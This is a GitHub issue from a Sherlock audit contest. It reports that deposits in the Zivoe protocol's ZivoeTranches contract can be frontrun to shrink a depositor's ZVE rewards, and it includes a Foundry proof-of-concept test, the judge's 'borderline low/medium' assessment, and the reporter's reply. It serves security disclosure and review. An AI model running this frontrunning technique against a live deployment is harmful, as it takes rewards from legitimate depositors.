sherlock-audit / 2024-03-zivoe-judging

8 stars 6 forks source link

nikhil840096 - Frontrunning Vulnerability in `ZivoeTranches:depositJunior` and `ZivoeTranches:depositSenior` Functions #189

Closed sherlock-admin4 closed 5 months ago

sherlock-admin4 commented 5 months ago

nikhil840096

high

Frontrunning Vulnerability in ZivoeTranches:depositJunior and ZivoeTranches:depositSenior Functions

Summary

This report details a frontrunning vulnerability discovered in the ZivoeTranches contract functionsZivoeTranches:depositJunior and ZivoeTranches:depositSenior. An attacker can exploit this vulnerability to manipulate the reward token distribution mechanism in function ZivoeTranches:rewardZVEJuniorDeposit and ZivoeTranches:rewardZVESeniorDeposit , unfairly reducing the rewards received by legitimate users.

Vulnerability Detail

The vulnerability lies in the logic used to calculate the reward token amount for users depositing funds into the junior or senior tranches. The reward calculation depends on the average ratio between the junior and senior token supplies at the time of deposit. An attacker can exploit this mechanism by performing a frontrunning attack

Proof of Concept (PoC)

The provided PoC function test_frontRunning demonstrates the frontrunning attack scenario. The attacker (address alice) frontruns the victim (address nick) by depositing funds before nick's transaction. This manipulation reduces the reward tokens received by nick.

function test_frontRunning() public {

        hevm.startPrank(address(god));
        ZVT.updateMaxZVEPerJTTMint(0.005 * 10**18);
        hevm.stopPrank();

        hevm.startPrank(address(god));
        ZVT.updateMinZVEPerJTTMint(0.004 * 10**18);
        hevm.stopPrank();

        address minter = address(11);

        address owner = zJTT.owner();

        vm.startPrank(owner);

        zJTT.changeMinterRole(minter, true);
        zSTT.changeMinterRole(minter, true);
        vm.stopPrank();

        //Increasing the supply for tokens zJTT and zSTT.
        vm.startPrank(minter);
        zJTT.mint(address(10), 2 ether);
        zSTT.mint(address(10), 100 ether);
        vm.stopPrank();

        // Address of the genuine user or victim
        address nick = address(1);    
        //Address of attacker
        address alice = address(2);

        //Amount the user has to deposit 
        uint256 nick_Deposit_Amount = 7 ether;

        //Amount the user will expects he will as reward 

        //----------------CALCULATION --------------- 
        //startRatio = juniorSupp * BIPS / seniorSupp = 2/100 *10000 = 200
        // uint256 finalRatio = (juniorSupp + deposit) * BIPS / seniorSupp = (2+7)/100 * 10000 = 900
        //avg = (200+900)/2 = 550
        //so avg<lowerRatioIncentiveBIPS(1000) => avgRate = maxZVEPerJTTMint; (Nick's reward token should be minted with 'maxZVEPerJTTMint')
        // ------------------------------------------

        uint256 nick_Reward = ZVT.rewardZVEJuniorDeposit(nick_Deposit_Amount); //---- 35000000000000000
        console.log("The reward expected by nick",nick_Reward);

        //Unlocking the zivoeTranche to start deposit 
        vm.startPrank(address(ITO));
        ZVT.unlock();
        vm.stopPrank();

        //Alice front runs the nick's attack
        //Alice mints reward token with (avgRate = maxZVEPerJTTMint)
        vm.startPrank(alice);
        deal(address(DAI), alice, 14 ether);
        IERC20(address(DAI)).approve(address(ZVT), 14 ether);
        ZVT.depositJunior(14 ether, address(DAI));
        vm.stopPrank();

        //Now nick's transaction proceeds 
        //This is the amount of reward  nick's will actually get
        //----------------CALCULATION --------------- 
        //startRatio = juniorSupp * BIPS / seniorSupp = 16/100 *10000 = 1600
        // uint256 finalRatio = (juniorSupp + deposit) * BIPS / seniorSupp = (16+7)/100 * 10000 = 2300
        //avg = (1600+2300)/2 = 1960
        //so avg>lowerRatioIncentiveBIPS(1000) => avgRate = minZVEPerJTTMint; (Nick's reward token will actually minted with 'minZVEPerJTTMint')
        // ------------------------------------------
        uint256 nick_Reward2 = ZVT.rewardZVEJuniorDeposit(nick_Deposit_Amount); //---- 32340000000000000
        // 35000000000000000(3.5e16) - 32340000000000000(3.234e16) = 2660000000000000(0.266e16) (User will get 0.266e16 tokens than intended)
        console.log("The reward nick will get",nick_Reward2);

        //Then user nick transaction proceeds
        vm.startPrank(alice);
        deal(address(DAI), nick, nick_Deposit_Amount);
        IERC20(address(DAI)).approve(address(ZVT), nick_Deposit_Amount);
        ZVT.depositJunior(nick_Deposit_Amount, address(DAI));
        vm.stopPrank();
    }

To test this code, paste it in Test_ZivoeTranches.sol and run the following command: forge test --mt test_frontRunning --fork-url <url>

Impact

This vulnerability allows attackers to unfairly gain additional reward tokens at the expense of legitimate users. Users depositing funds into the tranches are susceptible to receiving fewer reward tokens than intended.

Code Snippet

https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/ZivoeTranches.sol#L203-L229

https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/ZivoeTranches.sol#L236-L262

https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/ZivoeTranches.sol#L283

https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/ZivoeTranches.sol#L308

Tool used

Manual Review

Recommendation

Duplicate of #63

sherlock-admin3 commented 5 months ago

1 comment(s) were left on this issue during the judging contest.

panprog commented:

borderline low/medium, dup of #63, the core issue here is that incentive per token deposited can change before user's transaction executes (for different reasons) and user has no control (slippage check) about it, but this is a protocol choice and this issue can be considered informational. Still, the incentive might be important to user, hence borderline

Nikhil8400 commented 5 months ago

While I understand the classification as borderline low/medium and the acknowledgment that it could be considered a protocol choice, I would like to highlight the specific scenario and potential impact on users. The core issue revolves around the possibility of the incentive per token deposited changing before a user's transaction executes due to various reasons, leaving the user with no control or ability to perform a slippage check. This lack of control could have significant implications for users, especially regarding their expected incentives. Therefore, I believe the issue warrants consideration and further discussion. Thank you for your attention to this matter.